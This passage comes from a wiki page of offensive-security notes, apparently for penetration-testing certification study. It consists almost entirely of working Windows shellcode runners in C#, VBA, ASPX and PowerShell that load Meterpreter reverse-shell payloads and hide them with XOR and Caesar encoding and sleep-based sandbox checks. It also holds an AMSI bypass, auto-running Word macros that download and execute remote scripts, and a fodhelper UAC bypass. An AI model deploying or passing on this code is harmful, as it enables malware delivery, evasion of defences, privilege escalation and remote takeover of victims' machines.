          ref UInt32 lpThreadId&lt;br /&gt;
          );&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 WaitForSingleObject(&lt;br /&gt;
          IntPtr hHandle,&lt;br /&gt;
          UInt32 dwMilliseconds&lt;br /&gt;
        );&lt;br /&gt;
&lt;br /&gt;
        public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, encryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, decryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)&lt;br /&gt;
        {&lt;br /&gt;
            using (var ms = new MemoryStream())&lt;br /&gt;
            using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))&lt;br /&gt;
            {&lt;br /&gt;
                cryptoStream.Write(data, 0, data.Length);&lt;br /&gt;
                cryptoStream.FlushFinalBlock();&lt;br /&gt;
                return ms.ToArray();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Csharp shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
            uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes,&lt;br /&gt;
            uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle,&lt;br /&gt;
            UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfe, 0x4a,.....&lt;br /&gt;
};&lt;br /&gt;
            for(int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)(((uint)buf[i] - 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,&lt;br /&gt;
                IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Change the XOR vba runner with this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
For i = 0 To UBound(buf)&lt;br /&gt;
buf(i) = buf(i) - 2&lt;br /&gt;
Next i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
namespace rev&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint EXECUTEREADWRITE  = 0x40;&lt;br /&gt;
        public const uint COMMIT_RESERVE = 0x3000;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;Kernel32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait);&lt;br /&gt;
        public static void Main()&lt;br /&gt;
        {&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa&lt;br /&gt;
            };&lt;br /&gt;
            int payloadSize = buf.Length;&lt;br /&gt;
            IntPtr payAddr = VirtualAlloc(IntPtr.Zero, payloadSize, COMMIT_RESERVE, EXECUTEREADWRITE);&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Marshal.Copy(buf, 0, payAddr, payloadSize);&lt;br /&gt;
            IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);&lt;br /&gt;
            int waitResult = WaitForSingleObject(payThreadId, -1);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function Sleep Lib &amp;quot;kernel32&amp;quot; (ByVal mili As Long) As Long&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;kernel32&amp;quot; (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;kernel32&amp;quot; (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;kernel32&amp;quot; (ByVal destAddr As LongPtr, ByRef sourceAddr As Any, ByVal length As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function FlsAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal callback As LongPtr) As LongPtr&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    Dim allocRes As LongPtr&lt;br /&gt;
    Dim t1 As Date&lt;br /&gt;
    Dim t2 As Date&lt;br /&gt;
    Dim time As Long&lt;br /&gt;
    Dim buf As Variant&lt;br /&gt;
    Dim addr As LongPtr&lt;br /&gt;
    Dim counter As Long&lt;br /&gt;
    Dim data As Long&lt;br /&gt;
    Dim res As LongPtr&lt;br /&gt;
    &#039; Call FlsAlloc and verify if the result exists&lt;br /&gt;
    allocRes = FlsAlloc(0)&lt;br /&gt;
    If IsNull(allocRes) Then&lt;br /&gt;
        End&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Sleep for 10 seconds and verify time passed&lt;br /&gt;
    t1 = Now()&lt;br /&gt;
    Sleep (10000)&lt;br /&gt;
    t2 = Now()&lt;br /&gt;
    time = DateDiff(&amp;quot;s&amp;quot;, t1, t2)&lt;br /&gt;
    If time &amp;lt; 10 Then&lt;br /&gt;
        Exit Sub&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Shellcode encoded with XOR with key 0xfa/250 (output from C# helper tool)&lt;br /&gt;
    buf = Array(6, 178, 121, 30, 10, 18, 54, 250, 250, 250, 187, 171, 187, 170, 168, , 113, 136, 170, 183, 203, 51, 178, 203, 58, 86, 198, 155, ...)&lt;br /&gt;
    &#039; Allocate memory space&lt;br /&gt;
    addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
    &#039; Decode the shellcode&lt;br /&gt;
    For i = 0 To UBound(buf)&lt;br /&gt;
        buf(i) = buf(i) Xor 250&lt;br /&gt;
    Next i&lt;br /&gt;
    &#039; Move the shellcode&lt;br /&gt;
    For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
        data = buf(counter)&lt;br /&gt;
        res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
    Next counter&lt;br /&gt;
    &#039; Execute the shellcode&lt;br /&gt;
    res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Simple Shellcode Runners ==&lt;br /&gt;
&lt;br /&gt;
=== ASPX ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/C%23/Webshell_Runner/rev.aspx OSEP/Payloads/C#/Webshell_Runner/rev.aspx at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    private static Int32 MEM_COMMIT=0x1000;&lt;br /&gt;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true,ExactSpelling = true)]&lt;br /&gt;
    private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr GetCurrentProcess();&lt;br /&gt;
    protected void Page_Load(object sender, EventArgs e)&lt;br /&gt;
    {&lt;br /&gt;
        IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
        if(mem == null)&lt;br /&gt;
        {&lt;br /&gt;
            return;&lt;br /&gt;
        }&lt;br /&gt;
         // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.X.Y LPORT=443 -f aspx -o 3.aspx&lt;br /&gt;
        byte[] oe7hnH0 = new byte[666] {SHELLCODE-HERE!!!};&lt;br /&gt;
        for(int i = 0; i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
If compiled for x64 remember to set architecture to x64 in visual studios.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&lt;br /&gt;
            byte[] buf = new byte[630] {&lt;br /&gt;
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,&lt;br /&gt;
                // ... (other bytes)&lt;br /&gt;
                0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5&lt;br /&gt;
            };&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
==== Ver 1 - Ported from Csharp to Powershell ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$Kernel32 = @&amp;quot;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
public&lt;br /&gt;
class Kernel32 {&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)] public static extern IntPtr VirtualAlloc(&lt;br /&gt;
      IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi)] public static extern IntPtr&lt;br /&gt;
  CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
               IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,&lt;br /&gt;
               IntPtr lpThreadId);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)] public static extern UInt32&lt;br /&gt;
  WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
}&lt;br /&gt;
&amp;quot;@&lt;br /&gt;
Add-Type $Kernel32&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8…..&lt;br /&gt;
$size = $buf.Length&lt;br /&gt;
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)&lt;br /&gt;
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);&lt;br /&gt;
[Kernel32]::WaitForSingleObject($thandle, [uint32]&amp;quot;0xFFFFFFFF&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ver 2 ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Compact AMSI bypass&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Shellcode loader &amp;gt;:]&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Allocate executable memory&lt;br /&gt;
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
# Copy shellcode to allocated memory&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f powershell&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
# Execute shellcode and wait for it to exit&lt;br /&gt;
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
  (getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Trigger from Word Macro&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Trigger from Word Macro&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
Create a macro in Word (See cheatsheet I) and insert code.&lt;br /&gt;
&lt;br /&gt;
If Word is running in 64-bit the code below will need changes.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?40409-VBA-Shellcode-Runner-Compile-Error-Type-Mismatch VBA Shellcode Runner - Compile Error: Type Mismatch (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For the code below to work in 64-bit Word.&lt;br /&gt;
# If you&#039;re still looking for an answer to this, I ran into the same problem but managed to get it working for 64-bit as well. I had to change the three lines below.&lt;br /&gt;
# First, I modified the declare statement for RtlMoveMemory to not return anything anymore and changed it from Function to Sub. I&#039;m not sure why the type needed to change, but Word crashed when I used Function and worked with Sub. The documentation just says Function can return a value, while Sub can&#039;t, so maybe it has to do with my not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Private Declare PtrSafe Sub RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long)&lt;br /&gt;
# Second, I changed the line calling RtlMoveMemory since it&#039;s not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Call RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
# After making these changes it didn&#039;t error on RtlMoveMemory anymore, but instead gave the same mismatch error for CreateThread. That one was fixed by changing the creation statement for the res variable to be a LongPtr instead of Long to match what the declare statement for CreateThread says it will return.&lt;br /&gt;
Code:&lt;br /&gt;
Dim res As LongPtr&lt;br /&gt;
# After these changes and updating the shellcode to be a 64-bit version of meterpreter, the callback worked.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;KERNEL32&amp;quot; (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
Dim buf As Variant&lt;br /&gt;
Dim addr As LongPtr&lt;br /&gt;
Dim counter As Long&lt;br /&gt;
Dim data As Long&lt;br /&gt;
Dim res As Long&lt;br /&gt;
buf = Array(INSERT SHELLCODE HERE)&lt;br /&gt;
addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
data = buf(counter)&lt;br /&gt;
res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
Next counter&lt;br /&gt;
res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Function&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UAC Bypass ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#UAC_Bypass&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Fodhelper.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$yourevilcommand = &#039;powershell.exe -c &amp;quot;IEX(New-Object Net.WebClient).DownloadString(&#039;&#039;http://192.168.45.198/run3.txt&#039;&#039;)&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $yourevilcommand -Force&lt;br /&gt;
&lt;br /&gt;
Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
&lt;br /&gt;
Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force&lt;br /&gt;
&lt;br /&gt;
------------------------&lt;br /&gt;
function RegStuff {&lt;br /&gt;
